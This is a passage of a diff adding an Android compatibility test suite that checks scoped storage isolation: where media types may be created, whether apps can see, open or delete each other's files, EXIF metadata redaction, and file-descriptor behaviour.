+import android.scopedstorage.cts.lib.RedactionTestHelper;
+import android.scopedstorage.cts.lib.ScopedStorageBaseDeviceTest;
+import android.system.ErrnoException;
+import android.system.Os;
+import android.system.StructStat;
+import android.util.Log;
+
+import androidx.annotation.Nullable;
+import androidx.test.filters.SdkSuppress;
+
+import com.android.compatibility.common.util.FeatureUtil;
+import com.android.cts.install.lib.TestApp;
+import com.android.modules.utils.build.SdkLevel;
+
+import com.google.common.io.Files;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+import org.junit.runners.Parameterized.Parameter;
+import org.junit.runners.Parameterized.Parameters;
+
+import java.io.File;
+import java.io.FileDescriptor;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.ByteBuffer;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+
+/**
+ * Device-side test suite to verify scoped storage business logic.
+ */
+@RunWith(Parameterized.class)
+public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
+ public static final String STR_DATA1 = "Just some random text";
+
+ public static final byte[] BYTES_DATA1 = STR_DATA1.getBytes();
+
+ static final String TAG = "ScopedStorageDeviceTest";
+ static final String THIS_PACKAGE_NAME = getContext().getPackageName();
+
+ /**
+ * To help avoid flaky tests, give ourselves a unique nonce to be used for
+ * all filesystem paths, so that we don't risk conflicting with previous
+ * test runs.
+ */
+ static final String NONCE = String.valueOf(System.nanoTime());
+
+ static final String TEST_DIRECTORY_NAME = "ScopedStorageDeviceTestDirectory" + NONCE;
+
+ static final String AUDIO_FILE_NAME = "ScopedStorageDeviceTest_file_" + NONCE + ".mp3";
+ static final String PLAYLIST_FILE_NAME = "ScopedStorageDeviceTest_file_" + NONCE + ".m3u";
+ static final String SUBTITLE_FILE_NAME = "ScopedStorageDeviceTest_file_" + NONCE + ".srt";
+ static final String VIDEO_FILE_NAME = "ScopedStorageDeviceTest_file_" + NONCE + ".mp4";
+ static final String IMAGE_FILE_NAME = "ScopedStorageDeviceTest_file_" + NONCE + ".jpg";
+ static final String NONMEDIA_FILE_NAME = "ScopedStorageDeviceTest_file_" + NONCE + ".pdf";
+
+ static final String FILE_CREATION_ERROR_MESSAGE = "No such file or directory";
+
+ // The following apps are installed before the tests are run via a target_preparer.
+ // See test config for details.
+ // An app with READ_EXTERNAL_STORAGE and READ_MEDIA_* permissions
+ private static final TestApp APP_A_HAS_RES =
+ new TestApp(
+ "TestAppA",
+ "android.scopedstorage.cts.testapp.A.withres",
+ 1,
+ false,
+ "CtsScopedStorageTestAppA.apk");
+ // An app with no permissions
+ private static final TestApp APP_B_NO_PERMS = new TestApp("TestAppB",
+ "android.scopedstorage.cts.testapp.B.noperms", 1, false,
+ "CtsScopedStorageTestAppB.apk");
+ // An app that has file manager (MANAGE_EXTERNAL_STORAGE) permission.
+ private static final TestApp APP_FM = new TestApp("TestAppFileManager",
+ "android.scopedstorage.cts.testapp.filemanager", 1, false,
+ "CtsScopedStorageTestAppFileManager.apk");
+ // A legacy targeting app with RES and WES permissions
+ private static final TestApp APP_D_LEGACY_HAS_RW = new TestApp("TestAppDLegacy",
+ "android.scopedstorage.cts.testapp.D", 1, false, "CtsScopedStorageTestAppDLegacy.apk");
+ private static final TestApp APP_E = new TestApp("TestAppE",
+ "android.scopedstorage.cts.testapp.E", 1, false, "CtsScopedStorageTestAppE.apk");
+ private static final TestApp APP_E_LEGACY = new TestApp("TestAppELegacy",
+ "android.scopedstorage.cts.testapp.E.legacy", 1, false,
+ "CtsScopedStorageTestAppELegacy.apk");
+ // APP_GENERAL_ONLY is not installed at test startup - please install before using.
+ private static final TestApp APP_GENERAL_ONLY = new TestApp("TestAppGeneralOnly",
+ "android.scopedstorage.cts.testapp.general.only", 1, false,
+ "CtsScopedStorageGeneralTestOnlyApp.apk");
+
+ private static final String[] SYSTEM_GALERY_APPOPS = {
+ AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO};
+ private static final String OPSTR_MANAGE_EXTERNAL_STORAGE =
+ permissionToOp(Manifest.permission.MANAGE_EXTERNAL_STORAGE);
+
+ private static final String TRANSFORMS_DIR = ".transforms";
+ private static final String TRANSFORMS_TRANSCODE_DIR = TRANSFORMS_DIR + "/" + "transcode";
+ private static final String TRANSFORMS_SYNTHETIC_DIR = TRANSFORMS_DIR + "/" + "synthetic";
+
+ @Parameter(0)
+ public String mVolumeName;
+
+ /** Parameters data. */
+ @Parameters(name = "volume={0}")
+ public static Iterable<? extends Object> data() {
+ return ScopedStorageDeviceTest.getTestParameters();
+ }
+
+ @BeforeClass
+ public static void setupApps() throws Exception {
+ // File manager needs to be explicitly granted MES app op.
+ final int fmUid =
+ getContext().getPackageManager().getPackageUid(APP_FM.getPackageName(),
+ 0);
+ allowAppOpsToUid(fmUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
+
+ // Others are installed by target preparer with runtime permissions.
+ // Verify.
+ assertThat(checkPermission(APP_A_HAS_RES,
+ Manifest.permission.READ_EXTERNAL_STORAGE)).isTrue();
+ assertThat(checkPermission(APP_B_NO_PERMS,
+ Manifest.permission.READ_EXTERNAL_STORAGE)).isFalse();
+ assertThat(checkPermission(APP_D_LEGACY_HAS_RW,
+ Manifest.permission.READ_EXTERNAL_STORAGE)).isTrue();
+ assertThat(checkPermission(APP_D_LEGACY_HAS_RW,
+ Manifest.permission.WRITE_EXTERNAL_STORAGE)).isTrue();
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ executeShellCommand("rm -r /sdcard/Android/data/com.android.shell");
+ }
+
+ @Before
+ public void setupExternalStorage() throws Exception {
+ super.setupExternalStorage(mVolumeName);
+ Log.i(TAG, "Using volume : " + mVolumeName);
+ }
+
+ /**
+ * Test that we enforce certain media types can only be created in certain directories.
+ */
+ @Test
+ public void testTypePathConformity() throws Exception {
+ final File dcimDir = getDcimDir();
+ final File documentsDir = getDocumentsDir();
+ final File downloadDir = getDownloadDir();
+ final File moviesDir = getMoviesDir();
+ final File musicDir = getMusicDir();
+ final File picturesDir = getPicturesDir();
+ // Only audio files can be created in Music
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(musicDir, NONMEDIA_FILE_NAME).createNewFile();
+ });
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(musicDir, VIDEO_FILE_NAME).createNewFile();
+ });
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(musicDir, IMAGE_FILE_NAME).createNewFile();
+ });
+ // Only video files can be created in Movies
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(moviesDir, NONMEDIA_FILE_NAME).createNewFile();
+ });
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(moviesDir, AUDIO_FILE_NAME).createNewFile();
+ });
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(moviesDir, IMAGE_FILE_NAME).createNewFile();
+ });
+ // Only image and video files can be created in DCIM
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(dcimDir, NONMEDIA_FILE_NAME).createNewFile();
+ });
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(dcimDir, AUDIO_FILE_NAME).createNewFile();
+ });
+ // Only image and video files can be created in Pictures
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(picturesDir, NONMEDIA_FILE_NAME).createNewFile();
+ });
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(picturesDir, AUDIO_FILE_NAME).createNewFile();
+ });
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(picturesDir, PLAYLIST_FILE_NAME).createNewFile();
+ });
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(dcimDir, SUBTITLE_FILE_NAME).createNewFile();
+ });
+
+ assertCanCreateFile(new File(getAlarmsDir(), AUDIO_FILE_NAME));
+ assertCanCreateFile(new File(getAudiobooksDir(), AUDIO_FILE_NAME));
+ assertCanCreateFile(new File(dcimDir, IMAGE_FILE_NAME));
+ assertCanCreateFile(new File(dcimDir, VIDEO_FILE_NAME));
+ assertCanCreateFile(new File(documentsDir, AUDIO_FILE_NAME));
+ assertCanCreateFile(new File(documentsDir, IMAGE_FILE_NAME));
+ assertCanCreateFile(new File(documentsDir, NONMEDIA_FILE_NAME));
+ assertCanCreateFile(new File(documentsDir, PLAYLIST_FILE_NAME));
+ assertCanCreateFile(new File(documentsDir, SUBTITLE_FILE_NAME));
+ assertCanCreateFile(new File(documentsDir, VIDEO_FILE_NAME));
+ assertCanCreateFile(new File(downloadDir, AUDIO_FILE_NAME));
+ assertCanCreateFile(new File(downloadDir, IMAGE_FILE_NAME));
+ assertCanCreateFile(new File(downloadDir, NONMEDIA_FILE_NAME));
+ assertCanCreateFile(new File(downloadDir, PLAYLIST_FILE_NAME));
+ assertCanCreateFile(new File(downloadDir, SUBTITLE_FILE_NAME));
+ assertCanCreateFile(new File(downloadDir, VIDEO_FILE_NAME));
+ assertCanCreateFile(new File(moviesDir, VIDEO_FILE_NAME));
+ assertCanCreateFile(new File(moviesDir, SUBTITLE_FILE_NAME));
+ assertCanCreateFile(new File(musicDir, AUDIO_FILE_NAME));
+ assertCanCreateFile(new File(musicDir, PLAYLIST_FILE_NAME));
+ assertCanCreateFile(new File(getNotificationsDir(), AUDIO_FILE_NAME));
+ assertCanCreateFile(new File(picturesDir, IMAGE_FILE_NAME));
+ assertCanCreateFile(new File(picturesDir, VIDEO_FILE_NAME));
+ assertCanCreateFile(new File(getPodcastsDir(), AUDIO_FILE_NAME));
+ assertCanCreateFile(new File(getRingtonesDir(), AUDIO_FILE_NAME));
+
+ // No file whatsoever can be created in the top level directory
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(getExternalStorageDir(), NONMEDIA_FILE_NAME).createNewFile();
+ });
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(getExternalStorageDir(), AUDIO_FILE_NAME).createNewFile();
+ });
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(getExternalStorageDir(), IMAGE_FILE_NAME).createNewFile();
+ });
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(getExternalStorageDir(), VIDEO_FILE_NAME).createNewFile();
+ });
+ }
+
+ /**
+ * Test that we enforce certain media types can only be created in certain directories.
+ */
+ @Test
+ @SdkSuppress(minSdkVersion = 31, codeName = "S")
+ public void testTypePathConformity_recordingsDir() throws Exception {
+ final File recordingsDir = getRecordingsDir();
+
+ // Only audio files can be created in Recordings
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(recordingsDir, NONMEDIA_FILE_NAME).createNewFile();
+ });
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(recordingsDir, VIDEO_FILE_NAME).createNewFile();
+ });
+ assertThrows(IOException.class, "Operation not permitted",
+ () -> {
+ new File(recordingsDir, IMAGE_FILE_NAME).createNewFile();
+ });
+
+ assertCanCreateFile(new File(recordingsDir, AUDIO_FILE_NAME));
+ }
+
+ /**
+ * Test that we can create a file in app's external files directory,
+ * and that we can write and read to/from the file.
+ */
+ @Test
+ public void testCreateFileInAppExternalDir() throws Exception {
+ final File file = new File(getExternalFilesDir(), "text.txt");
+ try {
+ assertThat(file.createNewFile()).isTrue();
+ assertThat(file.delete()).isTrue();
+ // Ensure the file is properly deleted and can be created again
+ assertThat(file.createNewFile()).isTrue();
+
+ // Write to file
+ try (FileOutputStream fos = new FileOutputStream(file)) {
+ fos.write(BYTES_DATA1);
+ }
+
+ // Read the same data from file
+ assertFileContent(file, BYTES_DATA1);
+ } finally {
+ file.delete();
+ }
+ }
+
+ /**
+ * Test that we can't create a file in another app's external files directory,
+ * and that we'll get the same error regardless of whether the app exists or not.
+ */
+ @Test
+ public void testCreateFileInOtherAppExternalDir() throws Exception {
+ // Creating a file in a non existent package dir should return ENOENT, as expected
+ final File nonexistentPackageFileDir = new File(
+ getExternalFilesDir().getPath().replace(THIS_PACKAGE_NAME, "no.such.package"));
+ final File file1 = new File(nonexistentPackageFileDir, NONMEDIA_FILE_NAME);
+ assertThrows(
+ IOException.class, FILE_CREATION_ERROR_MESSAGE, () -> {
+ file1.createNewFile();
+ });
+
+ // Creating a file in an existent package dir should give the same error string to avoid
+ // leaking installed app names, and we know the following directory exists because shell
+ // mkdirs it in test setup
+ final File shellPackageFileDir = new File(
+ getExternalFilesDir().getPath().replace(THIS_PACKAGE_NAME, "com.android.shell"));
+ final File file2 = new File(shellPackageFileDir, NONMEDIA_FILE_NAME);
+ assertThrows(
+ IOException.class, FILE_CREATION_ERROR_MESSAGE, () -> {
+ file1.createNewFile();
+ });
+ }
+
+ /**
+ * Test that apps can't read/write files in another app's external files directory,
+ * and can do so in their own app's external file directory.
+ */
+ @Test
+ public void testReadWriteFilesInOtherAppExternalDir() throws Exception {
+ final File videoFile = new File(getExternalFilesDir(), VIDEO_FILE_NAME);
+
+ try {
+ // Create a file in app's external files directory
+ if (!videoFile.exists()) {
+ assertThat(videoFile.createNewFile()).isTrue();
+ }
+
+ // App A should not be able to read/write to other app's external files directory.
+ assertThat(canOpenFileAs(APP_A_HAS_RES, videoFile, false /* forWrite */)).isFalse();
+ assertThat(canOpenFileAs(APP_A_HAS_RES, videoFile, true /* forWrite */)).isFalse();
+ // App A should not be able to delete files in other app's external files
+ // directory.
+ assertThat(deleteFileAs(APP_A_HAS_RES, videoFile.getPath())).isFalse();
+
+ // Apps should have read/write access in their own app's external files directory.
+ assertThat(canOpen(videoFile, false /* forWrite */)).isTrue();
+ assertThat(canOpen(videoFile, true /* forWrite */)).isTrue();
+ // Apps should be able to delete files in their own app's external files directory.
+ assertThat(videoFile.delete()).isTrue();
+ } finally {
+ videoFile.delete();
+ }
+ }
+
+ /**
+ * Test that we can contribute media without any permissions.
+ */
+ @Test
+ public void testContributeMediaFile() throws Exception {
+ final File imageFile = new File(getDcimDir(), IMAGE_FILE_NAME);
+
+ try {
+ assertThat(imageFile.createNewFile()).isTrue();
+
+ // Ensure that the file was successfully added to the MediaProvider database
+ assertThat(getFileOwnerPackageFromDatabase(imageFile)).isEqualTo(THIS_PACKAGE_NAME);
+
+ // Try to write random data to the file
+ try (FileOutputStream fos = new FileOutputStream(imageFile)) {
+ fos.write(BYTES_DATA1);
+ fos.write(BYTES_DATA2);
+ }
+
+ final byte[] expected = (STR_DATA1 + STR_DATA2).getBytes();
+ assertFileContent(imageFile, expected);
+
+ // Closing the file after writing will not trigger a MediaScan. Call scanFile to update
+ // file's entry in MediaProvider's database.
+ assertThat(MediaStore.scanFile(getContentResolver(), imageFile)).isNotNull();
+
+ // Ensure that the scan was completed and the file's size was updated.
+ assertThat(getFileSizeFromDatabase(imageFile)).isEqualTo(
+ BYTES_DATA1.length + BYTES_DATA2.length);
+ } finally {
+ imageFile.delete();
+ }
+ // Ensure that delete makes a call to MediaProvider to remove the file from its database.
+ assertThat(getFileRowIdFromDatabase(imageFile)).isEqualTo(-1);
+ }
+
+ @Test
+ public void testCreateAndDeleteEmptyDir() throws Exception {
+ final File externalFilesDir = getExternalFilesDir();
+ // Remove directory in order to create it again
+ deleteRecursively(externalFilesDir);
+
+ // Can create own external files dir
+ assertThat(externalFilesDir.mkdir()).isTrue();
+
+ final File dir1 = new File(externalFilesDir, "random_dir");
+ // Can create dirs inside it
+ assertThat(dir1.mkdir()).isTrue();
+
+ final File dir2 = new File(dir1, "random_dir_inside_random_dir");
+ // And create a dir inside the new dir
+ assertThat(dir2.mkdir()).isTrue();
+
+ // And can delete them all
+ assertThat(deleteRecursively(dir2)).isTrue();
+ assertThat(deleteRecursively(dir1)).isTrue();
+ assertThat(deleteRecursively(externalFilesDir)).isTrue();
+
+ // Can't create external dir for other apps
+ final File nonexistentPackageFileDir = new File(
+ externalFilesDir.getPath().replace(THIS_PACKAGE_NAME, "no.such.package"));
+ final File shellPackageFileDir = new File(
+ externalFilesDir.getPath().replace(THIS_PACKAGE_NAME, "com.android.shell"));
+
+ assertThat(nonexistentPackageFileDir.mkdir()).isFalse();
+ assertThat(shellPackageFileDir.mkdir()).isFalse();
+ }
+
+ @Test
+ public void testCantAccessOtherAppsContents() throws Exception {
+ final File mediaFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
+ final File nonMediaFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+ try {
+ assertThat(createFileAs(APP_B_NO_PERMS, mediaFile.getPath())).isTrue();
+ assertThat(createFileAs(APP_B_NO_PERMS, nonMediaFile.getPath())).isTrue();
+
+ // We can still see that the files exist
+ assertThat(mediaFile.exists()).isTrue();
+ assertThat(nonMediaFile.exists()).isTrue();
+
+ // But we can't access their content
+ assertThat(canOpen(mediaFile, /* forWrite */ false)).isFalse();
+ assertThat(canOpen(nonMediaFile, /* forWrite */ true)).isFalse();
+ assertThat(canOpen(mediaFile, /* forWrite */ false)).isFalse();
+ assertThat(canOpen(nonMediaFile, /* forWrite */ true)).isFalse();
+ } finally {
+ deleteFileAsNoThrow(APP_B_NO_PERMS, nonMediaFile.getPath());
+ deleteFileAsNoThrow(APP_B_NO_PERMS, mediaFile.getPath());
+ }
+ }
+
+ @Test
+ public void testCantDeleteOtherAppsContents() throws Exception {
+ final File dirInDownload = new File(getDownloadDir(), TEST_DIRECTORY_NAME);
+ final File mediaFile = new File(dirInDownload, IMAGE_FILE_NAME);
+ final File nonMediaFile = new File(dirInDownload, NONMEDIA_FILE_NAME);
+ try {
+ assertThat(dirInDownload.mkdir()).isTrue();
+ // Have another app create a media file in the directory
+ assertThat(createFileAs(APP_B_NO_PERMS, mediaFile.getPath())).isTrue();
+
+ // Can't delete the directory since it contains another app's content
+ assertThat(dirInDownload.delete()).isFalse();
+ // Can't delete another app's content
+ assertThat(deleteRecursively(dirInDownload)).isFalse();
+
+ // Have another app create a non-media file in the directory
+ assertThat(createFileAs(APP_B_NO_PERMS, nonMediaFile.getPath())).isTrue();
+
+ // Can't delete the directory since it contains another app's content
+ assertThat(dirInDownload.delete()).isFalse();
+ // Can't delete another app's content
+ assertThat(deleteRecursively(dirInDownload)).isFalse();
+
+ // Delete only the media file and keep the non-media file
+ assertThat(deleteFileAs(APP_B_NO_PERMS, mediaFile.getPath())).isTrue();
+ // Directory now has only the non-media file contributed by another app, so we still
+ // can't delete it nor its content
+ assertThat(dirInDownload.delete()).isFalse();
+ assertThat(deleteRecursively(dirInDownload)).isFalse();
+
+ // Delete the last file belonging to another app
+ assertThat(deleteFileAs(APP_B_NO_PERMS, nonMediaFile.getPath())).isTrue();
+ // Create our own file
+ assertThat(nonMediaFile.createNewFile()).isTrue();
+
+ // Now that the directory only has content that was contributed by us, we can delete it
+ assertThat(deleteRecursively(dirInDownload)).isTrue();
+ } finally {
+ deleteFileAsNoThrow(APP_B_NO_PERMS, nonMediaFile.getPath());
+ deleteFileAsNoThrow(APP_B_NO_PERMS, mediaFile.getPath());
+ // At this point, we're not sure who created this file, so we'll have both apps
+ // deleting it
+ mediaFile.delete();
+ deleteRecursively(dirInDownload);
+ }
+ }
+
+ /**
+ * Test that deleting uri corresponding to a file which was already deleted via filePath
+ * doesn't result in a security exception.
+ */
+ @Test
+ public void testDeleteAlreadyUnlinkedFile() throws Exception {
+ final File nonMediaFile = new File(getDownloadDir(), NONMEDIA_FILE_NAME);
+ try {
+ assertTrue(nonMediaFile.createNewFile());
+ final Uri uri = MediaStore.scanFile(getContentResolver(), nonMediaFile);
+ assertNotNull(uri);
+
+ // Delete the file via filePath
+ assertTrue(nonMediaFile.delete());
+
+ // If we delete nonMediaFile with ContentResolver#delete, it shouldn't result in a
+ // security exception.
+ assertThat(getContentResolver().delete(uri, Bundle.EMPTY)).isEqualTo(0);
+ } finally {
+ nonMediaFile.delete();
+ }
+ }
+
+ /**
+ * This test relies on the fact that {@link File#list} uses opendir internally, and that it
+ * returns {@code null} if opendir fails.
+ */
+ @Test
+ public void testOpendirRestrictions() throws Exception {
+ // Opening a non existent package directory should fail, as expected
+ final File nonexistentPackageFileDir = new File(
+ getExternalFilesDir().getPath().replace(THIS_PACKAGE_NAME, "no.such.package"));
+ assertThat(nonexistentPackageFileDir.list()).isNull();
+
+ // Opening another package's external directory should fail as well, even if it exists
+ final File shellPackageFileDir = new File(
+ getExternalFilesDir().getPath().replace(THIS_PACKAGE_NAME, "com.android.shell"));
+ assertThat(shellPackageFileDir.list()).isNull();
+
+ // We can open our own external files directory
+ final String[] filesList = getExternalFilesDir().list();
+ assertThat(filesList).isNotNull();
+
+ // We can open any public directory in external storage
+ assertThat(getDcimDir().list()).isNotNull();
+ assertThat(getDownloadDir().list()).isNotNull();
+ assertThat(getMoviesDir().list()).isNotNull();
+ assertThat(getMusicDir().list()).isNotNull();
+
+ // We can open the root directory of external storage
+ final String[] topLevelDirs = getExternalStorageDir().list();
+ assertThat(topLevelDirs).isNotNull();
+ // TODO(b/145287327): This check fails on a device with no visible files.
+ // This can be fixed if we display default directories.
+ // assertThat(topLevelDirs).isNotEmpty();
+ }
+
+ @Test
+ public void testLowLevelFileIO() throws Exception {
+ String filePath = new File(getDownloadDir(), NONMEDIA_FILE_NAME).toString();
+ try {
+ int createFlags = O_CREAT | O_RDWR;
+ int createExclFlags = createFlags | O_EXCL;
+
+ FileDescriptor fd = Os.open(filePath, createExclFlags, S_IRWXU);
+ Os.close(fd);
+ assertThrows(
+ ErrnoException.class, () -> {
+ Os.open(filePath, createExclFlags, S_IRWXU);
+ });
+
+ fd = Os.open(filePath, createFlags, S_IRWXU);
+ try {
+ assertThat(Os.write(fd,
+ ByteBuffer.wrap(BYTES_DATA1))).isEqualTo(BYTES_DATA1.length);
+ assertFileContent(fd, BYTES_DATA1);
+ } finally {
+ Os.close(fd);
+ }
+ // should just append the data
+ fd = Os.open(filePath, createFlags | O_APPEND, S_IRWXU);
+ try {
+ assertThat(Os.write(fd,
+ ByteBuffer.wrap(BYTES_DATA2))).isEqualTo(BYTES_DATA2.length);
+ final byte[] expected = (STR_DATA1 + STR_DATA2).getBytes();
+ assertFileContent(fd, expected);
+ } finally {
+ Os.close(fd);
+ }
+ // should overwrite everything
+ fd = Os.open(filePath, createFlags | O_TRUNC, S_IRWXU);
+ try {
+ final byte[] otherData = "this is different data".getBytes();
+ assertThat(Os.write(fd, ByteBuffer.wrap(otherData))).isEqualTo(otherData.length);
+ assertFileContent(fd, otherData);
+ } finally {
+ Os.close(fd);
+ }
+ } finally {
+ new File(filePath).delete();
+ }
+ }
+
+ /**
+ * Test that media files from other packages are only visible to apps with storage permission.
+ */
+ @Test
+ public void testListDirectoriesWithMediaFiles() throws Exception {
+ final File dcimDir = getDcimDir();
+ final File dir = new File(dcimDir, TEST_DIRECTORY_NAME);
+ final File videoFile = new File(dir, VIDEO_FILE_NAME);
+ final String videoFileName = videoFile.getName();
+ try {
+ if (!dir.exists()) {
+ assertThat(dir.mkdir()).isTrue();
+ }
+
+ assertThat(createFileAs(APP_B_NO_PERMS, videoFile.getPath())).isTrue();
+ // App B should see TEST_DIRECTORY in DCIM and new file in TEST_DIRECTORY.
+ assertThat(listAs(APP_B_NO_PERMS, dcimDir.getPath())).contains(TEST_DIRECTORY_NAME);
+ assertThat(listAs(APP_B_NO_PERMS, dir.getPath())).containsExactly(videoFileName);
+
+ // App A has storage permission, so should see TEST_DIRECTORY in DCIM and new file
+ // in TEST_DIRECTORY.
+ assertThat(listAs(APP_A_HAS_RES, dcimDir.getPath())).contains(TEST_DIRECTORY_NAME);
+ assertThat(listAs(APP_A_HAS_RES, dir.getPath())).containsExactly(videoFileName);
+
+ // We are an app without storage permission; should see TEST_DIRECTORY in DCIM and
+ // should not see new file in new TEST_DIRECTORY.
+ assertThat(dcimDir.list()).asList().contains(TEST_DIRECTORY_NAME);
+ assertThat(dir.list()).asList().doesNotContain(videoFileName);
+ } finally {
+ deleteFileAsNoThrow(APP_B_NO_PERMS, videoFile.getPath());
+ deleteRecursively(dir);
+ }
+ }
+
+ /**
+ * Test that app can't see non-media files created by other packages
+ */
+ @Test
+ public void testListDirectoriesWithNonMediaFiles() throws Exception {
+ final File downloadDir = getDownloadDir();
+ final File dir = new File(downloadDir, TEST_DIRECTORY_NAME);
+ final File pdfFile = new File(dir, NONMEDIA_FILE_NAME);
+ final String pdfFileName = pdfFile.getName();
+ try {
+ if (!dir.exists()) {
+ assertThat(dir.mkdir()).isTrue();
+ }
+
+ // Have App B create non media file in the new directory.
+ assertThat(createFileAs(APP_B_NO_PERMS, pdfFile.getPath())).isTrue();
+
+ // App B should see TEST_DIRECTORY in downloadDir and new non media file in
+ // TEST_DIRECTORY.
+ assertThat(listAs(APP_B_NO_PERMS, downloadDir.getPath())).contains(TEST_DIRECTORY_NAME);
+ assertThat(listAs(APP_B_NO_PERMS, dir.getPath())).containsExactly(pdfFileName);
+
+ // APP A with storage permission should see TEST_DIRECTORY in downloadDir
+ // and should not see non media file in TEST_DIRECTORY.
+ assertThat(listAs(APP_A_HAS_RES, downloadDir.getPath())).contains(TEST_DIRECTORY_NAME);
+ assertThat(listAs(APP_A_HAS_RES, dir.getPath())).doesNotContain(pdfFileName);
+ } finally {
+ deleteFileAsNoThrow(APP_B_NO_PERMS, pdfFile.getPath());
+ deleteRecursively(dir);
+ }
+ }
+
+ /**
+ * Test that app can only see its directory in Android/data.
+ */
+ @Test
+ public void testListFilesFromExternalFilesDirectory() throws Exception {
+ final String packageName = THIS_PACKAGE_NAME;
+ final File nonmediaFile = new File(getExternalFilesDir(), NONMEDIA_FILE_NAME);
+
+ try {
+ // Create a file in app's external files directory
+ if (!nonmediaFile.exists()) {
+ assertThat(nonmediaFile.createNewFile()).isTrue();
+ }
+ // App should see its directory and directories of shared packages. App should see all
+ // files and directories in its external directory.
+ assertDirectoryContains(nonmediaFile.getParentFile(), nonmediaFile);
+
+ // App A should not see other app's external files directory despite RES.
+ assertThrows(IOException.class,
+ () -> listAs(APP_A_HAS_RES, getAndroidDataDir().getPath()));
+ assertThrows(IOException.class,
+ () -> listAs(APP_A_HAS_RES, getExternalFilesDir().getPath()));
+ } finally {
+ nonmediaFile.delete();
+ }
+ }
+
+ /**
+ * Test that app can see files and directories in Android/media.
+ */
+ @Test
+ public void testListFilesFromExternalMediaDirectory() throws Exception {
+ final File videoFile = new File(getExternalMediaDir(), VIDEO_FILE_NAME);
+
+ try {
+ // Create a file in app's external media directory
+ if (!videoFile.exists()) {
+ assertThat(videoFile.createNewFile()).isTrue();
+ }
+
+ // App should see its directory and other app's external media directories with media
+ // files.
+ assertDirectoryContains(videoFile.getParentFile(), videoFile);
+
+ // App A with storage permission should see other app's external media directory.
+ // Apps with READ_EXTERNAL_STORAGE can list files in other app's external media
+ // directory.
+ assertThat(listAs(APP_A_HAS_RES, getAndroidMediaDir().getPath()))
+ .contains(THIS_PACKAGE_NAME);
+ assertThat(listAs(APP_A_HAS_RES, getExternalMediaDir().getPath()))
+ .containsExactly(videoFile.getName());
+ } finally {
+ videoFile.delete();
+ }
+ }
+
+ @Test
+ public void testMetaDataRedaction() throws Exception {
+ File jpgFile = new File(getPicturesDir(), "img_metadata.jpg");
+ try {
+ if (jpgFile.exists()) {
+ assertThat(jpgFile.delete()).isTrue();
+ }
+
+ HashMap<String, String> originalExif =
+ getExifMetadataFromRawResource(R.raw.img_with_metadata);
+
+ try (InputStream in =
+ getContext().getResources().openRawResource(R.raw.img_with_metadata);
+ FileOutputStream out = new FileOutputStream(jpgFile)) {
+ // Dump the image we have to external storage
+ FileUtils.copy(in, out);
+ // Sync file to disk to ensure file is fully written to the lower fs attempting to
+ // open for redaction. Otherwise, the FUSE daemon might not accurately parse the
+ // EXIF tags and might misleadingly think there are not tags to redact
+ out.getFD().sync();
+
+ HashMap<String, String> exif = getExifMetadataFromFile(jpgFile);
+ assertExifMetadataMatch(exif, originalExif);
+
+ HashMap<String, String> exifFromTestApp =
+ readExifMetadataFromTestApp(APP_A_HAS_RES, jpgFile.getPath());
+ // App does not have AML; shouldn't have access to the same metadata.
+ assertExifMetadataMismatch(exifFromTestApp, originalExif);
+
+ // TODO(b/146346138): Test that if we give APP_A write URI permission,
+ // it would be able to access the metadata.
+ } // Intentionally keep the original streams open during the test so bytes are more
+ // likely to be in the VFS cache from both file opens
+ } finally {
+ jpgFile.delete();
+ }
+ }
+
+ @Test
+ public void testOpenFilePathFirstWriteContentResolver() throws Exception {
+ String displayName = "open_file_path_write_content_resolver.jpg";
+ File file = new File(getDcimDir(), displayName);
+
+ try {
+ assertThat(file.createNewFile()).isTrue();
+
+ try (ParcelFileDescriptor readPfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE);
+ ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw")) {
+ assertRWR(readPfd, writePfd);
+ assertUpperFsFd(writePfd); // With cache
+ }
+ } finally {
+ file.delete();
+ }
+ }
+
+ @Test
+ public void testOpenContentResolverFirstWriteContentResolver() throws Exception {
+ String displayName = "open_content_resolver_write_content_resolver.jpg";
+ File file = new File(getDcimDir(), displayName);
+
+ try {
+ assertThat(file.createNewFile()).isTrue();
+
+ try (ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw");
+ ParcelFileDescriptor readPfd = ParcelFileDescriptor.open(file, MODE_READ_WRITE)) {
+ assertRWR(readPfd, writePfd);
+ assertLowerFsFdWithPassthrough(file.getPath(), writePfd);
+ }
+ } finally {
+ file.delete();
+ }
+ }
+
+ @Test
+ public void testOpenFilePathFirstWriteFilePath() throws Exception {
+ String displayName = "open_file_path_write_file_path.jpg";
+ File file = new File(getDcimDir(), displayName);
+
